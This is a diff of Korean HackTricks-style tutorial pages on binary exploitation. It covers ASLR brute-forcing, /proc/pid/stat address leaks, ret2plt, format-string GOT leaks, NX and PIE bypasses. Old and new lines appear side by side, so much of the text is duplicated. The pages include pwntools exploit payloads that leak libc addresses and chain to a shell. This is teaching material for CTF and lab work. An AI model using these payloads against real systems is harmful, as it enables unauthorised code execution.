이전 데이터는 32비트 시스템을 위한 것이며 최종 엔트로피 감소로 인해 ASLR을 우회하여 공격이 성공적으로 완료될 때까지 실행을 다시 시도할 수 있습니다. 이전 데이터는 32비트 시스템에 대한 것이며, 최종 엔트로피가 감소하여 ASLR을 우회할 수 있게 해줍니다. 실행을 반복하여 익스플로잇이 성공적으로 완료될 때까지 시도할 수 있습니다.
#### 무차별 대입 아이디어: #### 무차별 대입 아이디어:
* **쉘코드 앞에 큰 NOP 슬레드를 호스팅할만큼 충분한 오버플로우가 있다면**, 스택 주소를 무차별 대입하여 흐름이 **NOP 슬레드의 일부를 건너뛰도록** 할 수 있습니다. * 쉘코드 앞에 **큰 NOP 슬레드**를 호스팅할 수 있을 만큼 큰 오버플로우가 있다면, 스택에서 주소를 무작위로 대입하여 흐름이 **NOP 슬레드의 일부를 넘어가도록** 할 수 있습니다.
* 오버플로우가 그리 크지 않고 공격을 로컬에서 실행할 수 있는 경우, **환경 변수에 NOP 슬레드와 쉘코드를 추가**할 수 있습니다. * 오버플로우가 그리 크지 않고 익스플로잇을 로컬에서 실행할 수 있는 경우, **환경 변수에 NOP 슬레드와 쉘코드를 추가하는** 것이 가능합니다.
* 공격이 로컬인 경우, libc의 베이스 주소를 무차별 대입해 볼 수 있습니다 (32비트 시스템에 유용함): * 익스플로잇이 로컬인 경우, libc의 기본 주소를 무작위로 대입해 볼 수 있습니다 (32비트 시스템에 유용함):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* 원격 서버를 공격할 때, `libc` 함수 `usleep`의 주소를 **10(예를 들어)으로 전달하여 **`burte-force** 시도할 수 있습니다. 서버가 응답하는 데 **10초 더 걸린다면**, 이 함수의 주소를 찾은 것입니다. * 원격 서버를 공격하는 경우, **`libc` 함수 `usleep`의 주소를 무작위로 추측해 볼 수 있습니다**, 인자로 10을 전달합니다 (예: 10). 만약 어느 시점에 **서버가 응답하는 데 10초가 추가로 걸린다면**, 이 함수의 주소를 찾은 것입니다.
{% hint style="success" %} {% hint style="success" %}
64비트 시스템에서 엔트로피가 훨씬 높아 이것은 불가능합니다. 64비트 시스템에서는 엔트로피가 훨씬 높아 이 방법이 불가능합니다.
{% endhint %} {% endhint %}
### 로컬 정보 (`/proc/[pid]/stat`) ### 로컬 정보 (`/proc/[pid]/stat`)
프로세스의 **`/proc/[pid]/stat`** 파일은 항상 누구나 읽을 수 있으며 **다음과 같은** 흥미로운 정보를 포함합니다: 프로세스의 **`/proc/[pid]/stat`** 파일은 항상 모든 사용자가 읽을 수 있으며, **흥미로운** 정보가 포함되어 있습니다:
* **startcode** **endcode**: **바이너리의 TEXT**와 관련된 위쪽 및 아래쪽 주소 * **startcode** & **endcode**: 바이너리의 **TEXT** 위와 아래의 주소
* **startstack**: **스택**의 시작 주소 * **startstack**: **스택** 시작 주소
* **start\_data** **end\_data**: **BSS**가 있는 위쪽 및 아래쪽 주소 * **start\_data** & **end\_data**: **BSS** 위와 아래의 주소
* **kstkesp** **kstkeip**: 현재 **ESP****EIP** 주소 * **kstkesp** & **kstkeip**: 현재 **ESP****EIP** 주소
* **arg\_start** **arg\_end**: **cli 인수**가 있는 위쪽 및 아래쪽 주소 * **arg\_start** & **arg\_end**: **cli arguments** 위와 아래의 주소
* **env\_start** **env\_end**: **환경 변수**가 있는 위쪽 및 아래쪽 주소 * **env\_start** & **env\_end**: **env variables** 위와 아래의 주소
따라서, 공격자가 취약한 이진 파일이 있는 컴퓨터와 동일한 위치에 있고, 해당 이진 파일이 원시 인수에서 오버플로우를 기대하지 않지만 이 파일을 읽은 후 **생성할 수 있는 다른 입력에서 오버플로우가 발생한다면** 공격자는 **이 파일에서 일부 주소를 얻고 해당 주소로부터 공격을 위한 오프셋을 구성할 수 있습니다**. 따라서, 공격자가 익스플로잇되는 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 원시 인자에서의 오버플로우를 예상하지 않지만, 이 파일을 읽은 후에 조작할 수 있는 다른 **입력에서 오버플로우를 예상하는 경우** 공격자는 **이 파일에서 일부 주소를 가져와서 익스플로잇을 위한 오프셋을 구성할 수 있습니다**.
{% hint style="success" %} {% hint style="success" %}
이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`을 검색하여 확인할 수 있습니다. 이 파일에 대한 자세한 정보는 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)에서 `/proc/pid/stat`를 검색하여 확인하세요.
{% endhint %} {% endhint %}
### Leak이 있는 경우 ### 누출이 있는 경우
* **도전 과제는 Leak을 제공하는 것입니다** * **문제는 누출을 제공하는 것입니다**
Leak이 주어진 경우 (쉬운 CTF 도전 과제), 해당 Leak에서 오프셋을 계산할 수 있습니다 (예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정). 이 예제 exploit은 [**여기의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 추출되었습니다 (자세한 내용은 해당 페이지를 확인하십시오): 누출이 주어지면 (쉬운 CTF 도전 과제), 이를 기반으로 오프셋을 계산할 수 있습니다 (예를 들어, 익스플로잇하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정할 때). 이 예제 익스플로잇은 [**여기에서의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)에서 발췌한 것입니다 (자세한 내용은 해당 페이지를 확인하세요):
```python ```python
from pwn import * from pwn import *
@ -135,7 +137,7 @@ p.interactive()
``` ```
* **ret2plt** * **ret2plt**
버퍼 오버플로우를 악용하여 **ret2plt**를 이용하여 libc에서 함수의 주소를 유출할 수 있습니다. 확인하세요: 버퍼 오버플로우를 악용하여 **ret2plt**를 이용해 libc의 함수 주소를 유출할 수 있습니다. 확인해 보세요:
{% content-ref url="ret2plt.md" %} {% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md) [ret2plt.md](ret2plt.md)
@ -143,7 +145,7 @@ p.interactive()
* **Format Strings Arbitrary Read** * **Format Strings Arbitrary Read**
ret2plt와 마찬가지로 포맷 문자열 취약점을 통해 임의의 읽기가 가능하면 **GOT**에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음은 [**여기에서의 예제**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)입니다: ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하면 GOT에서 **libc 함수**의 주소를 유출할 수 있습니다. 다음 [**예시는 여기에서 가져온 것입니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -154,7 +156,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main']) payload += p32(elf.symbols['main'])
``` ```
다음 위치에서 Format Strings 임의 읽기에 대한 자세한 정보를 찾을 수 있습니다: You can find more info about Format Strings arbitrary read in:
{% content-ref url="../../format-strings/" %} {% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/) [format-strings](../../format-strings/)
@ -162,8 +164,23 @@ payload += p32(elf.symbols['main'])
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
스택 내부 주소를 악용하여 ASLR을 우회하려고 시도하십시오: ASLR를 우회하기 위해 스택 내의 주소를 악용해 보세요:
{% content-ref url="../../stack-overflow/ret2ret.md" %} {% content-ref url="../../stack-overflow/ret2ret.md" %}
[ret2ret.md](../../stack-overflow/ret2ret.md) [ret2ret.md](../../stack-overflow/ret2ret.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
이 기술의 목표는 **PLT에서 함수의 주소를 누설**하여 ASLR을 우회할 수 있도록 하는 것입니다. 예를 들어, libc에서 `puts` 함수의 주소를 누설하면 **`libc`의 베이스가 어디인지 계산**하고 **`system`**과 같은 다른 함수에 액세스하기 위한 오프셋을 계산할 수 있습니다. 이 기술의 목표는 **ASLR을 우회하기 위해 PLT의 함수에서 주소를 누출하는 것**입니다. 예를 들어, libc의 `puts` 함수의 주소를 누출하면, **`libc`의 기본 주소를 계산하고** 다른 함수에 접근하기 위한 오프셋을 계산할 수 있습니다.
이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got) 참조): 이는 `pwntools` 페이로드를 사용하여 수행할 수 있습니다 ([**여기서**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
@ -37,15 +38,15 @@ elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
**`puts`** (PLT 주소를 사용)가 `GOT`에 위치한 `puts`의 주소로 호출되는 방법에 주목하세요. 이는 `puts``GOT` 항목을 출력할 때, 이 **항목은 메모리에 있는 `puts`의 주소를 포함**하기 때문입니다. **`puts`** (PLT의 주소를 사용하여)가 GOT(전역 오프셋 테이블)에 위치한 `puts`의 주소로 호출되는 방식을 주목하십시오. 이는 `puts``puts`의 GOT 항목을 출력할 때, 이 **항목이 메모리에서 `puts`의 정확한 주소를 포함하게 되기 때문입니다**.
또한, exploit에서 `main`의 주소가 사용되는 방법에 주목하세요. 이렇게 함으로써 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출**합니다 (따라서 유출된 주소는 계속 유효할 것입니다). 또한, `main`의 주소가 익스플로잇에서 사용되므로 `puts`가 실행을 마치면 **바이너리가 종료되는 대신 `main`을 다시 호출합니다** (따라서 누출된 주소는 계속 유효합니다).
{% hint style="danger" %} {% hint style="danger" %}
작업을 수행하려면 이를 위해 **바이너리가 PIE로 컴파일되어서는 안 되거나**, `PLT`, `GOT`, `main`의 주소를 알기 위해 **PIE를 우회하기 위한 유출을 찾아야 합니다**. 것이 작동하려면 **바이너리가 PIE로 컴파일될 수 없거나, PLT, GOT 및 `main`의 주소를 알기 위해 PIE를 우회할 수 있는 누출을 찾아야 합니다**. 그렇지 않으면 먼저 PIE를 우회해야 합니다.
{% endhint %} {% endhint %}
[**이 우회 방법의 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 해당 예제의 최종 exploit이었습니다: [**이 우회에 대한 전체 예제를 여기에서 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). 이것은 그 예제의 최종 익스플로잇이었습니다:
```python ```python
from pwn import * from pwn import *
@ -81,9 +82,24 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
## 다른 예시 및 참고 자료 ## Other examples & References
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64비트, ASLR 활성화되어 있지만 PIE가 없는 경우, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채워서 puts를 호출하여 릭(Leak)하는 것입니다. Canary로부터 ROP 가젯을 생성하여 GOT에서 puts의 주소를 릭하고 `system('/bin/sh')`를 호출하는 ROP 가젯을 호출합니다. * 64비트, ASLR이 활성화되어 있지만 PIE가 없으며, 첫 번째 단계는 canary의 바이트 0x00까지 오버플로우를 채운 다음 puts를 호출하여 leak하는 것입니다. canary를 사용하여 ROP 가젯을 생성하여 puts를 호출하고 GOT에서 puts의 주소를 leak한 다음 `system('/bin/sh')`를 호출하는 ROP 가젯을 생성합니다.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64비트, ASLR 활성화되어 있지만 canary가 없는 경우, 메인 함수에서의 스택 오버플로우가 발생하는 자식 함수로부터 발생합니다. puts를 호출하여 GOT에서 puts의 주소를 릭한 다음 one gadget을 호출하는 ROP 가젯입니다. * 64비트, ASLR이 활성화되어 있으며, canary가 없고, 자식 함수에서 main의 스택 오버플로우가 발생합니다. puts의 GOT에서 주소를 leak하기 위해 puts를 호출하는 ROP 가젯을 생성한 다음 one gadget을 호출합니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,42 @@
# No-exec / NX # No-exec / NX
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary> <summary>Support HackTricks</summary>
다른 방법으로 HackTricks를 지원하는 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
**No-Execute (NX)** 비트는 인텔 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로** 공격의 효과를 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면 **실행 가능한 코드**와 **데이터**를 위해 의도된 메모리 영역을 구분합니다. 핵심 아이디어는 악의적인 코드를 예를 들어 스택에 넣고 실행 흐름을 해당 코드로 이동시켜 버퍼 오버플로 취약점을 통해 악성 코드를 실행하는 공격자를 방지하는 것입니다. **No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 영역(예: **스택** 및 **힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것입니다. 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
## 우회 ## Bypasses
- [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 바이너리에 이미 존재하는 실행 가능한 코드 청크를 실행하여 이 보호를 우회할 수 있습니다. * [**ROP**](../stack-overflow/rop-return-oriented-programing.md)와 같은 기술을 사용하여 이 보호를 우회하고 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행할 수 있습니다.
- [**Ret2libc**](../stack-overflow/ret2lib/) * [**Ret2libc**](../stack-overflow/ret2lib/)
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) * [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
- **Ret2...** * **Ret2...**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,56 +1,58 @@
# PIE # PIE
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
PIE로 컴파일된 이진 파일은 **Position Independent Executable**의 약자로, **프로그램이 실행될 때마다 다른 메모리 위치에 로드**될 수 있어 하드코딩된 주소를 방지합니다. PIE로 컴파일된 바이너리는 **위치 독립 실행 파일**을 의미하며, **프로그램이 실행될 때마다 서로 다른 메모리 위치에 로드될 수** 있어 하드코딩된 주소를 방지합니다.
진 파일을 이용한 공격의 핵심은 **상대적 주소를 이용**하는 데 있습니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE 우회**를 위해서는 **스택**과 같은 취약점을 이용하여 주소를 하나 **유출**하면 됩니다. 한 번 주소를 얻으면 **고정된 오프셋**을 통해 다른 주소를 계산할 수 있습니다. 러한 바이너리를 악용하는 요령은 **상대 주소**를 악용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다.** 일반적으로 포맷 문자열 공격과 같은 취약점을 사용하여 **스택**에서 주소를 유출합니다. 주소를 얻으면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
PIE 이진 파일을 공격할 때 유용한 팁은 메모리 페이지가 0x1000 바이트 크기로 무작위화의 단위인 **기본 주소가 일반적으로 000으로 끝난다**는 것입니다. 이 정렬은 올바른 기본 주소가 식별되었는지를 나타내는 중요한 **검사**가 될 수 있습니다.\ PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 수 있는 중요한 체크**로, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
또는 이를 이용하여 **exploit에 사용**할 수 있습니다. 주소가 **`0x649e1024`**에 위치한다는 것을 유출하면 **기본 주소가 `0x649e1000`**임을 알 수 있고 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다. 또는 익스플로잇에 사용할 수 있습니다. 주소가 **`0x649e1024`**에 위치한다고 유출되면 **기본 주소는 `0x649e1000`**이라는 것을 알 수 있으며, 그로부터 함수와 위치의 **오프셋을 계산**할 수 있습니다.
## 우회 방법 ## Bypasses
PIE를 우회하려면 **로드된 이진 파일의 주소를 유출**해야 합니다. 이를 위한 몇 가지 옵션이 있습니다: PIE를 우회하려면 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
* **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 이진 파일은 항상 **동일한 주소에 로드**되므로 **PIE가 쓸모 없어집니다**. 객체의 주소는 항상 동일한 위치에 있습니다. * **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다.** 따라서 **PIE는 쓸모가 없게 됩니다.** 객체의 주소가 항상 같은 위치에 있기 때문입니다.
* 유출**받는 경우** (쉬운 CTF 도전 과제에서 흔함, [**이 예제를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) * 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 일반적, [**이 예제 확인**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* 스택에서 올바른 값을 유출할 때까지 **EBP 및 EIP 값을 무차별 대입**합니다: * **스택에서 EBP 및 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지:
{% content-ref url="bypassing-canary-and-pie.md" %} {% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md) [bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %} {% endcontent-ref %}
* 이진 파일의 주소를 유출하기 위해 [**format string**](../../format-strings/)과 같은 임의 읽기 취약점을 사용하여 기본 주소를 얻고 거기서 오프셋을 사용합니다. [**여기에서 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). * [**포맷 문자열**](../../format-strings/)과 같은 임의 읽기 취약점을 사용하여 바이너리의 주소를 유출합니다 (예: 이전 기술처럼 스택에서) 바이너리의 기본 주소를 얻고 그로부터 오프셋을 사용합니다. [**여기에서 예제 찾기**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## 참고 자료 ## References
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
